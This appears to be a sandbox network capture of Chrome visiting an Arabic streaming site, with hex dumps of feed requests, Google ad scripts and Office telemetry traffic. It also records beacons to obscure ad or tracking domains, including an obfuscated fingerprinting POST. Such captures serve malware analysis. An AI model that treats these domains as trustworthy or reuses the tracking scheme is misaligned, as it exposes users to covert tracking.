2024-10-14 22:39:51 UTC	733	IN	Data Raw: 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 Data Ascii: ds\/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D
2024-10-14 22:39:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49786	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	809	OUT	GET /feeds/posts/default/-/%D9%83%D8%B1%D8%AA%D9%88%D9%86?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587003&data&_=1728945587004 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	973	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"1eddf695b3d3946339fef7b918c9921600e6fed4897474579374d31260df87a1" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:52 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2BvWAcwoZeqddh48r5sIOTESFJVIh64Mi%2BiYM%2B8vLrKEzzM9736b5sBNvi45irMwdwyQNEns9%2FGh7m7irOglUqhFBp4e5OcioiJxpyWnpr4VTxZbbhUeP%2F6%2Bfn50VGAUG5%2FTM3w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b1158192832ee-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:51 UTC	396	IN	Data Raw: 39 61 62 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 37 30 30 33 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9ab// API callbackjQuery11100049902415236919184_1728945587003({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:51 UTC	1369	IN	Data Raw: 6e 2f 74 68 72 65 61 64 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 a7 d9 Data Ascii: n/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:51 UTC	717	IN	Data Raw: 63 6f 6d 5c 2f 66 65 65 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 33 25 44 38 25 42 31 25 44 38 25 41 41 25 44 39 25 38 38 25 44 39 25 38 36 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 33 25 44 38 25 42 31 25 44 38 25 41 41 25 44 39 25 38 38 25 44 39 25 38 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 68 Data Ascii: com\/feeds\/6282888993036066443\/posts\/default\/-\/%D9%83%D8%B1%D8%AA%D9%88%D9%86?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%83%D8%B1%D8%AA%D9%88%D9%86"},{"rel":"h
2024-10-14 22:39:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49795	172.67.178.81	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	606	OUT	GET /split_track?action=check_overlay&dlShown=true&zone=8079706 HTTP/1.1 Host: bytogeticr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.mycimalive.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	964	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS, HEAD Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Content-Range,Range Access-Control-Expose-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Content-Range,Range cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eeKp1WcO7oDOaALb0bT9dCChsmushjVVeYOuBrK3LO890ITotkOzFXHHPi23%2F%2FE8eUG3sfskRoTigN29icDuxyZBUT6bBDBVyw2lcFXPArUPyW4F0E1JaAH3bN7BbHx%2FYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b11596a9a7293-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49779	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	1158	OUT	POST /log/add?cid=1db9169f-90f4-4b2d-b517-bc47aab19c1f&ruid=010be0c3-d8ef-4b81-8363-d3a6d5db9249 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive Content-Length: 2124 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Origin: https://oughoaghushouru.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oughoaghushouru.net/4/8079706?dovr=true&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
2024-10-14 22:39:51 UTC	2124	OUT	Data Raw: 4c 1b 52 52 1f 1c 26 1c 14 05 67 1f 1c 4b 12 03 01 05 50 0e 4c 5f 03 01 6c 04 25 2b 3f 4a 59 40 4a 00 5b 03 43 2b 20 2c 3e 71 4e 45 70 56 5c 51 16 01 55 48 23 17 54 02 18 57 41 5b 40 58 5c 04 4e 45 64 4e 5a 50 0e 37 11 09 11 07 4a 49 3d 5c 17 03 0d 0e 52 1c 3d 18 55 43 56 44 15 4d 59 40 45 1a 08 59 49 09 22 5a 2a 2e 5b 1d 42 4d 64 4e 5a 50 0e 37 11 09 11 07 4a 49 1d 4b 08 1c 0b 19 5b 16 42 4f 45 4f 11 0c 58 23 16 07 12 0e 5d 49 30 57 02 44 4e 43 35 5b 01 0a 5b 5c 1a 14 56 46 0b 18 05 40 02 58 4c 15 43 1e 14 04 50 0e 5c 59 07 15 11 41 0d 46 43 59 47 5a 08 45 5b 4e 09 48 54 52 4a 00 42 4f 40 50 44 14 40 55 4b 50 45 4e 1a 1e 10 51 43 50 57 5b 45 18 4c 1a 4f 1b 09 06 56 46 0e 11 57 58 08 45 5b 50 19 48 54 5b 5e 16 19 0b 54 1b 09 06 56 46 0a 09 1d 40 02 50 41 Data Ascii: LRR&gKPL_l%+?JY@J[C+ ,>qNEpV\QUH#TWA[@X\NEdNZP7JI=\R=UCVDMY@EYI"Z*.[BMdNZP7JIK[BOEOX#]I0WDNC5[[\VF@XLCP\YAFCYGZE[NHTRJBO@PD@UKPENQCPW[ELOVFWXE[PHT[^TVF@PA
2024-10-14 22:39:51 UTC	559	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 12 Connection: close Access-Control-Allow-Origin: https://oughoaghushouru.net Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, X-Forwarded-For, If-None-Match Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:51 UTC	12	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 32 7d Data Ascii: {"status":2}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49794	142.250.184.194	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	823	OUT	GET /pagead/html/r20241009/r20190131/zrt_lookup_fy2021.html HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	639	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Server: cafe Content-Length: 9031 X-XSS-Protection: 0 Date: Sun, 13 Oct 2024 22:59:44 GMT Expires: Sun, 27 Oct 2024 22:59:44 GMT Cache-Control: public, max-age=1209600 Age: 85207 ETag: 13108003645644964576 Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:51 UTC	739	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 6c 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 76 61 72 20 6d 2c 6e 3b 61 3a 7b 66 6f 72 28 76 61 72 20 61 61 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 2c 76 3d 6c 2c 7a 3d 30 3b 7a 3c 61 61 2e 6c 65 6e 67 74 68 3b 7a 2b 2b 29 69 66 28 76 3d 76 5b 61 61 5b 7a 5d 5d 2c 76 3d 3d 6e 75 6c 6c 29 7b 6e 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 6e 3d 76 Data Ascii: <!DOCTYPE html><script>(function(){'use strict';/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var l=this\|\|self;var m,n;a:{for(var aa=["CLOSURE_FLAGS"],v=l,z=0;z<aa.length;z++)if(v=v[aa[z]],v==null){n=null;break a}n=v
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 30 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 61 29 7b 47 5b 22 20 22 5d 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 47 5b 22 20 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 76 61 72 20 66 61 3d 63 61 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 77 65 62 6b 69 74 22 29 21 3d 2d 31 26 26 21 43 28 22 45 64 67 65 22 29 3b 21 43 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 46 28 29 3b 46 28 29 3b 43 28 22 53 61 66 61 72 69 22 29 26 26 28 46 28 29 7c 7c 28 45 28 29 3f 30 3a 43 28 22 43 6f 61 73 74 22 29 29 7c 7c 28 45 28 29 3f 30 3a 43 28 22 4f 70 65 72 61 22 29 29 7c 7c 28 45 28 29 3f 30 3a 43 28 22 45 64 67 65 22 29 29 7c 7c 28 45 28 29 3f 42 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 43 28 22 45 64 67 2f 22 29 29 7c 7c Data Ascii: 0)};function G(a){G[" "](a);return a}G[" "]=function(){};var fa=ca().toLowerCase().indexOf("webkit")!=-1&&!C("Edge");!C("Android")\|\|F();F();C("Safari")&&(F()\|\|(E()?0:C("Coast"))\|\|(E()?0:C("Opera"))\|\|(E()?0:C("Edge"))\|\|(E()?B("Microsoft Edge"):C("Edg/"))\|\|
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 65 71 75 65 73 74 73 7c 7c 28 6c 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 3d 5b 5d 29 3b 63 6f 6e 73 74 20 62 3d 70 61 28 6c 2e 64 6f 63 75 6d 65 6e 74 29 3b 62 2e 73 72 63 3d 61 3b 6c 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 2e 70 75 73 68 28 62 29 7d 3b 6c 65 74 20 4a 3d 6e 75 6c 6c 3b 76 61 72 20 72 61 3d 28 29 3d 3e 7b 69 66 28 21 4a 29 62 3a 7b 76 61 72 20 61 3d 6e 61 28 29 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 74 72 79 7b 63 6f 6e 73 74 20 63 3d 61 5b 62 5d 2e 66 72 61 6d 65 73 2e 67 6f 6f 67 6c 65 5f 65 73 66 3b 69 66 28 63 26 26 49 28 63 29 29 7b 4a 3d 63 3b 62 72 65 61 6b 20 62 7d 7d 63 61 74 63 68 28 63 29 7b 7d 4a 3d 6e 75 6c 6c 7d 28 61 3d 4a 29 3f Data Ascii: equests\|\|(l.google_image_requests=[]);const b=pa(l.document);b.src=a;l.google_image_requests.push(b)};let J=null;var ra=()=>{if(!J)b:{var a=na();for(var b=0;b<a.length;b++)try{const c=a[b].frames.google_esf;if(c&&I(c)){J=c;break b}}catch(c){}J=null}(a=J)?
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 73 2e 74 61 73 6b 49 64 3d 74 68 69 73 2e 73 6c 6f 74 49 64 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 75 6e 69 71 75 65 49 64 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7d 7d 3b 63 6f 6e 73 74 20 4f 3d 6c 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2c 46 61 3d 21 21 28 4f 26 26 4f 2e 6d 61 72 6b 26 26 4f 2e 6d 65 61 73 75 72 65 26 26 4f 2e 63 6c 65 61 72 4d 61 72 6b 73 29 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3d 21 31 2c 63 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 62 7c 7c 28 63 3d 61 28 29 2c 62 3d 21 30 29 3b 72 65 74 75 72 6e 20 63 7d 7d 28 28 29 3d 3e 7b 76 61 72 20 61 3b 69 66 28 61 3d 46 61 29 7b 76 61 72 20 62 3b 69 66 28 4d 3d 3d 3d 6e 75 6c 6c 29 7b 4d 3d 22 22 3b 74 72 79 7b 61 3d 22 22 3b 74 72 79 7b 61 3d 6c 2e 74 6f Data Ascii: s.taskId=this.slotId=void 0;this.uniqueId=Math.random()}};const O=l.performance,Fa=!!(O&&O.mark&&O.measure&&O.clearMarks),P=function(a){let b=!1,c;return function(){b\|\|(c=a(),b=!0);return c}}(()=>{var a;if(a=Fa){var b;if(M===null){M="";try{a="";try{a=l.to
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 3d 5b 5d 3b 66 6f 72 28 6c 65 74 20 68 3d 30 3b 68 3c 61 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 65 2e 70 75 73 68 28 4a 61 28 61 5b 68 5d 2c 62 2c 63 2c 64 2b 31 2c 66 29 29 3b 72 65 74 75 72 6e 20 65 2e 6a 6f 69 6e 28 63 5b 64 5d 29 7d 7d 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 66 7c 7c 28 66 3d 30 29 2c 66 3c 32 3f 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 49 61 28 61 2c 62 2c 63 2c 64 2c 66 2b 31 29 29 3a 22 2e 2e 2e 22 3b 72 65 74 75 72 6e 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 53 74 72 69 6e 67 28 61 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4b 61 28 61 29 7b 6c 65 74 20 62 3d 31 3b 66 6f 72 28 63 6f 6e 73 74 20 63 20 69 6e 20 61 2e 68 29 63 2e 6c 65 6e 67 74 Data Ascii: =[];for(let h=0;h<a.length;h++)e.push(Ja(a[h],b,c,d+1,f));return e.join(c[d])}}else if(typeof a==="object")return f\|\|(f=0),f<2?encodeURIComponent(Ia(a,b,c,d,f+1)):"...";return encodeURIComponent(String(a))}function Ka(a){let b=1;for(const c in a.h)c.lengt
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 6e 67 74 68 2d 31 3b 77 3c 3d 76 61 3b 2b 2b 77 29 6b 5b 77 5d 2e 64 65 70 74 68 3d 76 61 2d 77 3b 67 3d 6c 3b 69 66 28 67 2e 6c 6f 63 61 74 69 6f 6e 26 26 67 2e 6c 6f 63 61 74 69 6f 6e 2e 61 6e 63 65 73 74 6f 72 4f 72 69 67 69 6e 73 26 26 67 2e 6c 6f 63 61 74 69 6f 6e 2e 61 6e 63 65 73 74 6f 72 4f 72 69 67 69 6e 73 2e 6c 65 6e 67 74 68 3d 3d 6b 2e 6c 65 6e 67 74 68 2d 31 29 66 6f 72 28 71 3d 31 3b 71 3c 6b 2e 6c 65 6e 67 74 68 3b 2b 2b 71 29 7b 76 61 72 20 78 3d 6b 5b 71 5d 3b 78 2e 75 72 6c 7c 7c 28 78 2e 75 72 6c 3d 67 2e 6c 6f 63 61 74 69 6f 6e 2e 61 6e 63 65 73 74 6f 72 4f 72 69 67 69 6e 73 5b 71 2d 31 5d 7c 7c 22 22 2c 78 2e 6c 3d 21 30 29 7d 76 61 72 20 74 3d 6b 3b 6c 65 74 20 4e 3d 6e 65 77 20 42 61 28 6c 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 Data Ascii: ngth-1;w<=va;++w)k[w].depth=va-w;g=l;if(g.location&&g.location.ancestorOrigins&&g.location.ancestorOrigins.length==k.length-1)for(q=1;q<k.length;++q){var x=k[q];x.url\|\|(x.url=g.location.ancestorOrigins[q-1]\|\|"",x.l=!0)}var t=k;let N=new Ba(l.location.href
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 6f 67 6c 65 5f 73 72 74 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 3b 4f 61 28 29 3b 54 3d 6e 65 77 20 4e 61 28 55 29 3b 54 2e 67 3d 28 29 3d 3e 7b 7d 3b 54 2e 69 3d 21 30 3b 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 22 63 6f 6d 70 6c 65 74 65 22 3f 51 61 28 29 3a 55 2e 67 26 26 68 61 28 28 29 3d 3e 7b 51 61 28 29 7d 29 7d 29 28 29 3b 76 61 72 20 52 61 3d 61 3d 3e 7b 54 2e 67 3d 62 3d 3e 7b 65 61 28 61 2c 63 3d 3e 7b 63 28 62 29 7d 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 53 61 28 61 29 7b 61 3d 61 3d 3d 3d 6e 75 6c 6c 3f 22 6e 75 6c 6c 22 3a 61 3d 3d 3d 76 6f 69 64 20 30 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 61 3b 48 3d 3d 3d 76 6f 69 64 20 30 26 26 28 48 3d 6a 61 28 29 29 3b 76 61 72 20 62 3d 48 3b 72 65 74 75 Data Ascii: ogle_srt=Math.random());Oa();T=new Na(U);T.g=()=>{};T.i=!0;window.document.readyState=="complete"?Qa():U.g&&ha(()=>{Qa()})})();var Ra=a=>{T.g=b=>{ea(a,c=>{c(b)})}};function Sa(a){a=a===null?"null":a===void 0?"undefined":a;H===void 0&&(H=ja());var b=H;retu
2024-10-14 22:39:51 UTC	24	IN	Data Raw: 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a Data Ascii: ).call(this);</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: b913ea27-a01e-0002-1718-1c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223951Z-17db6f7c8cf8rgvlb86c9c0098000000050g00000000q70c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
